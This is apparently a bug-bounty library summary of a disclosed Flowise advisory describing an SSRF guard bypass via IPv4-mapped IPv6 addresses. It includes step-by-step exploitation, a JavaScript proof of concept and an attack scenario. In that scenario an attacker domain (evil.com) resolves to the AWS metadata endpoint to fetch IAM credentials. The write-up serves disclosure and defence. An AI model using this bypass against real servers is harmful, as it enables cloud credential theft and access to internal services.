# Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

Flowise's isDeniedIP skipped all IPv4 CIDR deny rules for IPv4-mapped IPv6 addresses, letting an attacker-controlled AAAA record reach cloud metadata and internal services.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: feiyang666
- Disclosed: 2026-08-04
- CVE: CVE-2026-69257
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c6xh-wv4j-ppv5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c6xh-wv4j-ppv5
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:nodejs technique:incomplete-fix technique:source-review vuln:ssrf

**Target:** httpSecurity.ts isDeniedIP / resolveAndValidate SSRF guard used by HTTP Node, ApiChain, MCP and loaders
**Root cause:** isDeniedIP compares ipaddr.js kind() before CIDR matching; IPv4-mapped IPv6 parses as kind 'ipv6' while deny-list entries are 'ipv4', so every IPv4 CIDR rule is silently skipped. The IPv6 deny entries don't cover ::ffff:0:0/96.
**Steps:**
1. Register a domain and set an AAAA record to `::ffff:169.254.169.254` (or `::ffff:10.0.0.1`, `::ffff:127.0.0.1`).
2. Configure a chatflow HTTP Node / ApiChain / MCP URL pointing at `http://evil.attacker.com/latest/meta-data/iam/security-credentials/`.
3. resolveAndValidate calls `dns.lookup(host, { all: true })` returning `[{ address: '::ffff:169.254.169.254', family: 6 }]`.
4. isDeniedIP parses it: `ipaddr.parse('::ffff:169.254.169.254').kind()` = 'ipv6' vs deny entry kind 'ipv4' → kind match false → CIDR check skipped.
5. Request is issued to the mapped IPv4 target, returning metadata credentials or internal service responses.
**How found:** Code review of the SSRF fix from CVE-2026-31829 in httpSecurity.ts; noticed the kind() equality gate before match() and hypothesized that ipaddr.js reports IPv4-mapped IPv6 as kind 'ipv6', then verified with a PoC against ipaddr.js@2.2.0 replicating isDeniedIP.
**Exploitation:** Attacker needs control of a hostname resolvable by the Flowise server and the ability to configure a flow node/loader that fetches a URL. DNS AAAA returns the IPv4-mapped address; the guard passes; the HTTP client connects to the embedded IPv4 (AWS IMDS, RFC1918 hosts, localhost) and the response is returned into the flow output.
**Escalation:** Chaining to cloud metadata yields IAM role credentials / service account tokens, escalating SSRF to cloud account compromise; localhost access reaches Flowise's own API.
**Insight:** When an SSRF guard gates CIDR matching on address-family equality, test IPv4-mapped IPv6 (::ffff:a.b.c.d) and other transition forms (NAT64, 6to4) — the family check silently disables the whole deny list rather than erroring.

## Proof of concept (copied exactly from the original report)

**ipaddr.js PoC demonstrating kind mismatch bypass**

```
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped
```

**Attack scenario with AAAA DNS record to metadata**

```
# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials
```

